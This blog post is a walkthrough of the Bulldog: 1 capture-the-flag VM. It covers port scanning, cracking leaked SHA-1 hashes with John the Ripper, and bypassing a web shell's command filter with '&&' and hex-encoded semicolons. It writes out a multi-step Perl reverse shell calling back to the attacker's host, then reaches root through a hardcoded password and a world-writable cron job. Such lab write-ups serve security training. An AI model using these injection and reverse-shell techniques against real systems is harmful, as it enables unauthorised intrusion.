Search My Blog

Sunday, January 28, 2018

Bulldog: 1 CTF Walkthrough Solution


Below is my walkthrough solution to the Bulldog: 1 CTF posted 28 Aug 2017 on Vulhub.


Background:
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. 

Could this mean there are more vulnerabilities to exploit? Why don't you find out? :)

This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!

Difficulty: Beginner/Intermediate - I'd say.... Intermediate, as there are two paths to solve this which require different paths after you obtain the initial reverse shell.

Author: Made by Nick Frichette (frichetten.com) Twitter: @frichette_n

This VM starts out like any with a NMAP scan of the box to figure out where we might have access to the box.

root@kali:~/Documents/Bulldog_1# nmap -sSV -p- -O -T4 -v 192.168.56.103


Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-26 17:08 EST
NSE: Loaded 42 scripts for scanning.
Initiating ARP Ping Scan at 17:08
Scanning 192.168.56.103 [1 port]
Completed ARP Ping Scan at 17:08, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:08
Completed Parallel DNS resolution of 1 host. at 17:08, 0.02s elapsed
Initiating SYN Stealth Scan at 17:08
Scanning 192.168.56.103 [65535 ports]
Discovered open port 80/tcp on 192.168.56.103
Discovered open port 8080/tcp on 192.168.56.103
Discovered open port 23/tcp on 192.168.56.103
Completed SYN Stealth Scan at 17:08, 2.22s elapsed (65535 total ports)
Initiating Service scan at 17:08
Scanning 3 services on 192.168.56.103
Completed Service scan at 17:08, 6.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.103
NSE: Script scanning 192.168.56.103.
Initiating NSE at 17:08
Completed NSE at 17:08, 0.03s elapsed
Initiating NSE at 17:08
Completed NSE at 17:08, 0.00s elapsed
Nmap scan report for 192.168.56.103
Host is up (0.00043s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.001 days (since Fri Jan 26 17:07:32 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.30 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

It looks like the exact same web server bound to perts 80 and 8080 and an SSH server mounted to a "nonstandard" SSH port of 23.

Lets do some enumeration on the web server with dirb:
root@kali:~/Documents/Bulldog_1# dirb http://192.168.56.103:80
URL_BASE: http://192.168.56.103:80/
---- Scanning URL: http://192.168.56.103:80/ ----
==> DIRECTORY: http://192.168.56.103:80/admin/                                                                                                                  
==> DIRECTORY: http://192.168.56.103:80/dev/                                                                                                                    
+ http://192.168.56.103:80/robots.txt (CODE:200|SIZE:1071)                                                                                                      
---- Entering directory: http://192.168.56.103:80/admin/ ----
==> DIRECTORY: http://192.168.56.103:80/admin/auth/                                                                                                             
==> DIRECTORY: http://192.168.56.103:80/admin/login/                                                                                                            
==> DIRECTORY: http://192.168.56.103:80/admin/logout/                                                                                                           
---- Entering directory: http://192.168.56.103:80/dev/ ----
==> DIRECTORY: http://192.168.56.103:80/dev/shell/                                                                                                              
---- Entering directory: http://192.168.56.103:80/admin/auth/ ----
==> DIRECTORY: http://192.168.56.103:80/admin/auth/group/                                                                                                       
==> DIRECTORY: http://192.168.56.103:80/admin/auth/user/                                                                                                        
---- Entering directory: http://192.168.56.103:80/admin/login/ ----
---- Entering directory: http://192.168.56.103:80/admin/logout/ ----
---- Entering directory: http://192.168.56.103:80/dev/shell/ ----
---- Entering directory: http://192.168.56.103:80/admin/auth/group/ ----
---- Entering directory: http://192.168.56.103:80/admin/auth/user/ ----

After some inspection, /admin seems to lead to a django login, dev seems to lead to a introduction page for new employees, and /dev/shell.... if we are logged in to django might be interest...

Inspecting the /dev site leads to something interesting in the source :-)


Lots like somebody decided to leave password hashes to django in the source. Lets crack it. First we make a user to password map file:

root@kali:~/Documents/Bulldog_1# cat user_pass.txt 
alan:6515229daf8dbdc8b89fed2e60f107433da5f2cb
william:38882f3b81f8f2bc47d9f3119155b05f954892fb
malik:c6f7e34d5d08ba4a40dd5627508ccb55b425e279
kevin:0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
ashley:553d917a396414ab99785694afd51df3a8a8a3e0
nick:ddf45997a7e18a25ad5f5cf222da64814dd060d5
sarah:d8b8dd5e7f000b8dea26ef8428caf38c04466b3e


Then, feed it into john the ripper with the password hash type selected:

root@kali:~/Documents/Bulldog_1# hash-identifier

 HASH: 6515229daf8dbdc8b89fed2e60f107433da5f2cb

Possible Hashs:
[+]  SHA-1
[+]  MySQL5 - SHA-1(SHA-1($pass))

root@kali:~/Documents/Bulldog_1# john --format=Raw-SHA1  --wordlist=rockyou.txt user_pass.txt 
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog          (nick)
bulldoglover     (sarah)
2g 0:00:00:01 DONE (2018-01-27 09:57) 1.234g/s 8854Kp/s 8854Kc/s 50077KC/sie168..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have two potential users for the django site. Lets login of the /admin URL. Both passwords seem to work for both users. I have chosen to use Nick. After, login you can view the /dev/shell URL.

It seems to let you pass in various queries. They have attempted to prevent you from using ";" to chain together commands. You can pass "&&" to chain commands that are not permitted, as the filter doesn't work properly. You use the echo command to write out files to the /tmp directory. They seem to have blocked some other commands from running as I couldn't get a bash or ruby reverse shell to run out of the /tmp directory. I could get a Perl one to run though :-). I had to encode the ";" as Hex and reconvert it to ASCII using xxd -r

Using the webform I wrote out the reverse shell with the following code block submitted in a few submission to built it. It was too look to enter in the form as one string and I didn't fell like sending it via Curl or manipulating the webform.

COMMAND 1

echo "" && echo "#!/bin/sh" > /tmp/reverseShellPerl.sh && echo -n "perl -e 'use Socket" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "\$i=\"192.168.56.101\"" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "\$p=80" >> /tmp/reverseShellPerl.sh 

COMMAND 2

echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\")" >> /tmp/reverseShellPerl.sh 

COMMAND 3

echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "open(STDOUT,\">&S\")" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "open(STDERR,\">&S\")" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "exec(\"/bin/sh -i\")" >> /tmp/reverseShellPerl.sh 

COMMAND 4

echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo -n "}" >> /tmp/reverseShellPerl.sh && echo -n "0x3B" | xxd -r >> /tmp/reverseShellPerl.sh && echo "'" >> /tmp/reverseShellPerl.sh

COMMAND 5

echo "" && chmod 755 /tmp/reverseShellPerl.sh

Set up a listener on your machine, then enter the last command



COMMAND 6

echo "Owned You!!!" && /tmp/reverseShellPerl.sh


From above, you can see I'm in an after cleaning up the TTY with the python command after access, looks like I'm django and have sudo permission...but I need to know the django user's password :-(

ROOT ACCESS PATH 1

After searching around a bit, I found the following in a "hidden folder"



You still need to know the password for the user to run this "customPermissionApp"... which for some reason isn't flagged to be executable... lets run strings on it and see what we find?


HUM... looks like Ashley may have hardcoded a password for the django user???? Let try that password.


Boom... we are logged in as root using the django user's password to sudo to root. In reading the flag, there appears to be a second route to root? Let look around some more......

ROOT ACCESS PATH 2 (no password required)

I decided to go check out the cron jobs as the django user (pretending I don't have access to root yet.. just a reverse shell as django)


Looks like from cron we have found a job AVApplication.py that runs every min and is fully writable by ALL users. All we have to do it append a python reverse shell back to this job and it will log us in as root :-)

So, I echo'ed a reverse shell to the cron job, launched a listener on my box, and waited a minute for it to connect me.



Connection!!! and I'm root again without knowing the password for the django user at all :-)


Hope you enjoyed the solution. This VM was fun and I enjoyed it. Worst part was actually crafting the first reverse shell through the /dev/shell portal.


No comments:

Post a Comment